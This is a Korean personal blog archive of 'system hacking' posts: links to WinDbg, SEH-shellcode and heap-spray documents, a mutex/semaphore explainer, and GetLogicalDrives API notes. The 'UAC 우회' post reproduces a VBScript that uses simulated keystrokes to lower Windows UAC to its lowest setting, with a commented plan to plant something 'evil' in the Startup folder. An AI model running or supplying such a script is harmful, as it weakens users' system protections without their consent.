posted by 블르샤이닝 2021. 2. 3. 08:51
728x90

WinDbg_cmds.pdf

 

출처는 확인 불가

728x90

'시스템 해킹' 카테고리의 다른 글

SEH를 이용한 시스템 쉘 코드 실행  (0) 2015.05.27
뮤텍스(Mutex)와 세마포어(Semaphore) 정의 및 차이  (0) 2014.04.17
힙 스프레이 공격  (0) 2014.03.31
UAC 우회  (0) 2014.01.29
GetLogicalDrives 값  (0) 2013.08.05
posted by 블르샤이닝 2015. 5. 27. 17:07
728x90

뭐 제가 발표한건아니고;;;전에 인터넷 검색하다가 찾은 자료같은데....


보관용 자료 



SEH발표자료.7z


728x90

'시스템 해킹' 카테고리의 다른 글

WinDbg_cmds  (0) 2021.02.03
뮤텍스(Mutex)와 세마포어(Semaphore) 정의 및 차이  (0) 2014.04.17
힙 스프레이 공격  (0) 2014.03.31
UAC 우회  (0) 2014.01.29
GetLogicalDrives 값  (0) 2013.08.05
posted by 블르샤이닝 2014. 4. 17. 15:50
728x90

학교 운영체제 시간에 열심히 해둘껄.....아우 아우...그래도 조금은 수업을 들어서 그런지 이해는된다;

 

출처 : https://www.google.co.kr/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&ved=0CEUQFjAC&url=http%3A%2F%2Fninako21.tistory.com%2F500&ei=bnZPU7rSMYOl8AXKhoK4DA&usg=AFQjCNEZR16BadFY7KWZXz6OC2PV5js_PQ&sig2=jfJ0cPcImHKfQw8vBkeqKA&bvm=bv.64764171,d.dGc&cad=rjt

---------------------------------------------------------------------------------------------

저장한 pdf :  https://drive.google.com/file/d/0B4fxnIet58UxcUFUeUtPU0Flc2M/edit?usp=sharing

 

<동기화>
리눅스 커널은 동기화와 독점적인 접근을 허용하기 위해 다양한 방법을 사용하고 있다. 여러 프로세스가 동일한 자원을 조작할 경우에 세마포어를 이용하는 것이 편리하다. 멀티 프로세서 환경에서 여러 CPU가 동시에 참조하는 테이블을 보호하기 위해서는 스핀락(spin lock)을 이용하는 것이 가장 일반적이다.

<뮤텍스(Mutex)란?>
MUTual EXclusion 으로 상호배제라고도 한다.
Critical Section을 가진 스레드들의 Runnig Time이 서로 겹치지 않게 각각 단독으로 실행되게 하는 기술이다. 다중프로세스들의 공유 리소스에 대한 접근을 조율하기 위해 locking과 unlocking을 사용한다.
즉, 쉽게 말하면 뮤텍스 객체를 두 스레드가 동시에 사용할 수 없다는 의미이다.

 

<세마포어(Semaphore)란?>
세마포어는 리소스의 상태를 나타내는 간단한 카운터로 생각할 수 있다. 일반적으로 비교적 긴 시간을 확보하는 리소스에 대해 이용한다. 유닉스 시스템의 프로그래밍에서 세마포어는 운영체제의 리소스를 경쟁적으로 사용하는 다중 프로세스에서 행동을 조정하거나 또는 동기화 시키는 기술이다. 세마포어는 운영체제 또는 커널의 한 지정된 저장장치 내 값으로서, 각 프로세스는 이를 확인하고 변경할 수 있다. 확인되는 세마포어의 값에 따라, 그 프로세스가 즉시 자원을 사용할 수 있거나, 또는 이미 다른 프로세스에 의해 사용 중이라는 사실을 알게 되면 재시도하기전에 일정 시간을 기다려야만 한다. 세마포어는 이진수 (0 또는 1)를 사용하거나, 또는 추가적인 값을 가질 수도 있다. 세마포어를 사용하는 프로세스는 으레 그 값을 확인하고, 자원을 사용하는 동안에는 그 값을 변경함으로써 다른 세마포어 사용자들이 기다리도록 해야한다.

- 프로세스 간 메시지를 전송하거나 혹은 공유 메모리를 통해서 특정 데이터를 공유하게 될 경우 발생하는 문제는 공유된 자원에 여러 프로세스가 접근하면서 발생하다. 하나의 프로세스만 접근을 가능하도록 해야할 때 세마포어를 사용한다.

- 바이너리 세마포어랑 세마포어의 값이 0과 1만을 지니도록 구현된 세마포어를 말한다.

 

<* 뮤텍스와 세마포어의 차이점>
- 세마포어는 뮤텍스가 될 수 있지만 뮤텍스는 세마포어가 될 수 없다.
- 세마포어는 소유할 수 없는 반면 뮤텍스는 소유가 가능하며 소유주가 이에 대한 책임을 진다.
- 뮤텍스의 경우 뮤텍스를 소유하고 있는 쓰레드가 이 뮤텍스를 해제할 수 있다. 하지만 세마포어의 경우 이러한 세마포어를 소유하지 않는 스레드가 세마포어를 해제할 수 있다.
- 세마포어는 시스템 범위에 걸쳐있고 파일시스템상의 파일 형태로 존재한다. 반면 뮤텍스는 프로세스 범위를 가지며 프로세스가 종료될 때 자동으로 clean up된다.


★★★ 가장 큰 차이점은 관리하는 동기화 대상이 갯수이다.
뮤텍스는 동기화 대상이 오직 하나뿐일 때, 세마포어는 동기화 대상이 하나 이상일 때 사용한다.

728x90

'시스템 해킹' 카테고리의 다른 글

WinDbg_cmds  (0) 2021.02.03
SEH를 이용한 시스템 쉘 코드 실행  (0) 2015.05.27
힙 스프레이 공격  (0) 2014.03.31
UAC 우회  (0) 2014.01.29
GetLogicalDrives 값  (0) 2013.08.05
posted by 블르샤이닝 2014. 3. 31. 16:44
728x90

힙 스프레이 관련 문서

 

 

[exploit writing] 11. 힙 스프레이.pdf

 


출처 : 

http://www.kisec.com/knowledge_channel/kiseclab?page=2&PHPSESSID=469d5351022d0ffa1074fa9d35194636


총 11개의 교육용 문서가 있으며 잘만든 문서인것같다

728x90

'시스템 해킹' 카테고리의 다른 글

SEH를 이용한 시스템 쉘 코드 실행  (0) 2015.05.27
뮤텍스(Mutex)와 세마포어(Semaphore) 정의 및 차이  (0) 2014.04.17
UAC 우회  (0) 2014.01.29
GetLogicalDrives 값  (0) 2013.08.05
시스템 정보를 보여주는 툴  (0) 2013.02.12
posted by 블르샤이닝 2014. 1. 29. 16:20
728x90
참조 : http://withinwindows.com/2009/01/30/malware-can-turn-off-uac-in-windows-7-by-design-says-microsoft
'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"


728x90
posted by 블르샤이닝 2013. 8. 5. 17:04
728x90
분서할떄 편하게~~API값을 토대로 드라이버 로드값을 참고해두자~

로컬 드라이브 알아내기  WINAPI 

2007/07/17 13:56

복사http://blog.naver.com/windslime/80040359840

전용뷰어 보기

자신의 로컬 시스템에 몇 개의 어떤 이름의 드라이브가 있는지를 찾는 함수는

GetLogicalDrives 함수와 GetLogicalDriveStrings 함수이다.

 

DWORD WINAPI GetLogicalDrives(void);

 

[Return]

성공시 드라이브 관련 정보 비트 값을 성정한 DWORD 값, 실패시 0을 반환한다.

 

DWORD WINAPI GetLogicalDriveStrings(
  DWORD nBufferLength,
  LPTSTR lpBuffer
);

 

DWORD nBufferLength

lpBuffer의 최대 크기. 이 크기는 종료문자를 포함하지 않은 크기이다.

만약 이 값이 0이라면 lpBuffer 는 사용되지 않는다.

 

LPTSTR lpBuffer

드라이브 이름을 받을 문자열.

 

[Return]

성공시 버퍼에 들어가 있는 문자열의 길이, 실패시 0을 반환한다.

 

위의 두 함수는 같은 기능을 하지만 얻어진 값의 사용법이 다르다.

 

GetLogicalDrives 함수는 DWORD형의 리턴 값을 받는다.

이 리턴 값의 최하위 1비트를 A 드라브로 해서 1비트씩 자릿수를 올려가면서

해당 드라이브가 있으면 해당 비트를 1로 셋팅하고 없으면 그 비트를 0으로 세팅한다.

 

ex) 시스템에 A, C, D, E, H 드라이브가 있다고 가정하면

GetLogicalDrives  함수의 리턴 값은

 

0000 0000 0000 0000 0000 0000 1001 1101

 

해서 0x9D 또는 157이 될 것이다.

 

 

GetLogicalDriveStrings 함수는 버퍼의 크기와 버퍼를 넘겨서 그 버퍼에

드라이브 문자를 받아 온다. 단지, 드라이브 이름과 드라이브 이름 사이에

널 종료문자가 위치해서 조금의 주의를 해줘야 한다.

 

ex) 시스템에 A, C, D, E, H 드라이브가 있다고 가정하면

GetLogicalDriveStrings 함수 성공시 버퍼는

 

Buffer[0] 부터

 

A : \ 0 

C : \ 0 

D : \ 0 

E : \ 0 

H : \ 0 0

순으로 들어간다.

 EX : A = 1, B = 2, C = 4, D = 8...의 형태로 하여 Long 값을 가져오던데, 

이 함수의 리턴 값은 가장 마지막 널 종료문자 위치인 20이 된다.


728x90

'시스템 해킹' 카테고리의 다른 글

힙 스프레이 공격  (0) 2014.03.31
UAC 우회  (0) 2014.01.29
시스템 정보를 보여주는 툴  (0) 2013.02.12
ker32.dll의 메모리 영향에 대한 이야기  (0) 2012.10.30
windows 8 의 보안기능  (0) 2012.09.12
posted by 블르샤이닝 2013. 2. 12. 17:51
728x90
참고로 bat파일로 수정하면 어느정도 필요하면 정보만 얻게 변경도 가능할듯하다. 그냥 난 필요없지만, 혹시 모르니 ㅋㅋ 자료용으로 보관... 출처는 기억안나서;;ㅠ 죄송합니다
728x90

'시스템 해킹' 카테고리의 다른 글

UAC 우회  (0) 2014.01.29
GetLogicalDrives 값  (0) 2013.08.05
ker32.dll의 메모리 영향에 대한 이야기  (0) 2012.10.30
windows 8 의 보안기능  (0) 2012.09.12
WRITING A BOOTLOADER  (0) 2012.05.03